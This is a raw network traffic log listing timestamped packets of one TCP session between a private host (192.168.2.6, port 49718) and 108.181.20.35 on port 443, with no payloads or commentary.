Dec 19, 2023 05:18:39.818716049 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.024775982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.024972916 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.149388075 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.149399996 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.149415970 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.149430990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.149548054 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.149559975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.149574995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.149585009 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.149703979 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.149710894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.149733067 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.149934053 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.149934053 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.149939060 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.149955034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.150013924 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.150053024 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.154534101 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.154561043 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.154649019 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.154658079 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.154695034 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.166086912 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.166104078 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.166162968 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.166178942 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.166214943 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.178752899 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.178775072 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.178813934 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.178819895 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.178853989 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.178877115 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.189167976 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.189189911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.189235926 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.189241886 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.189276934 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.189291000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.191657066 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.191673040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.191728115 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.191735983 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.191775084 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.196453094 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.196471930 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.196516037 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.196521997 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.196552038 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.196569920 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.198061943 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.198080063 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.198137999 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.198143005 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.198194981 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.207777023 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.207796097 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.207834959 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.207849979 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.207870007 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.207890987 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.210760117 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.210787058 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.210834026 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.210841894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.210870981 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.210887909 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.275468111 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.275495052 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.275562048 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.275573969 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.275602102 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.275618076 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.319684982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.319715023 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.319781065 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.319793940 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.319854021 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.349464893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.349493980 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.349575996 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.349589109 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.349632978 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.352185011 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.352200985 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.352283955 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.352289915 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.352324009 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.363735914 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.363759041 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.363840103 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.363852024 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.363893032 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.374619961 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.374645948 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.374727964 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.374737978 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.374779940 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.377439022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.377454996 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.377523899 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.377531052 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.377571106 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.382164955 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.382180929 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.382246971 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.382255077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.382293940 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.384248972 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.384267092 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.384314060 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.384320021 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.384356976 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.392982960 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.392998934 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.393070936 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.393089056 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.393134117 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.396055937 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.396070957 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.396132946 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.396140099 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.396178961 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.461025953 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.461042881 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.461175919 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.461204052 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.461397886 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.505129099 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.505151033 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.505268097 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.505295038 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.505351067 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.534537077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.534559011 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.534773111 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.534789085 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.534984112 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.537287951 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.537303925 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.537378073 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.537384987 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.537431002 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.549220085 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.549243927 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.549350977 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.549359083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.549448967 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.559616089 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.559643030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.559725046 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.559737921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.559880018 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.562297106 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.562319994 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.562398911 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.562407017 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.562455893 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.568989038 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.569010019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.569097042 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.569107056 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.569145918 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.569895983 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.569911003 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.569972038 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.569978952 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.570039988 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.577517033 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.577534914 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.577696085 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.577703953 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.577753067 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.582250118 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.582267046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.582326889 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.582331896 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.582376003 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.646277905 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.646300077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.646370888 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.646392107 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.646409035 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.646435976 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.689671993 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.689692020 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.689759016 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.689769030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.689809084 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.710011005 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.710033894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.710186005 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.710196018 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.710244894 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.722088099 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.722129107 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.722179890 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.722199917 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.722223997 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.722244978 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.727766991 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.727783918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.727819920 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.727828026 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.727854967 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.727875948 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.744858980 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.744875908 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.744934082 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.744946003 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.744985104 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.745712996 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.745728016 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.745781898 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.745790005 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.745841026 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.754708052 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.754726887 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.754760981 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.754770994 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.754792929 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.754812002 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.755942106 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.755959034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.756004095 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.756011963 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.756047964 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.765239000 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.765258074 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.765316010 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.765322924 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.765369892 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.769630909 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.769646883 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.769686937 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.769695997 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.769721985 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.769737005 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.796081066 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.796097040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.796156883 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.796175957 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.796216011 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.832633018 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.832653046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.832711935 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.832729101 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.832778931 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.894649982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.894670963 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.894738913 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.894772053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.894789934 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.894808054 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.906150103 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.906167030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.906233072 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.906255960 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.906297922 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.912632942 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.912653923 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:40.912697077 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:40.912741899 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:41.120748043 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:41.120822906 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:41.560741901 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:41.560940027 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.212150097 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.212165117 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.212177038 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.212414026 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.212420940 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.212439060 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.212564945 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.212564945 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.212589025 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.212712049 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.338742018 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.338757038 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.338769913 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.338781118 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.338937044 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.338944912 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.338956118 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.338969946 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.338980913 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339054108 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.339059114 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339128971 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.339133978 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339215040 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.339215040 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.339221001 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339241982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339250088 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339401007 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.339406967 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339425087 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339440107 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339555979 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.339562893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339575052 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339586973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339596987 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339673042 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.339673042 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.339682102 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339703083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339715958 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.339719057 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339797020 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.339809895 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339874983 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.339875937 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.339881897 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339896917 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.339901924 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340064049 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340070009 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340094090 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340097904 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340101957 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340156078 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340192080 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340228081 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340228081 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340234995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340255022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340256929 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340271950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340315104 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340320110 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340327978 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340327978 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340347052 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:42.340398073 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:42.340398073 CET	49718	443	192.168.2.6	108.181.20.35
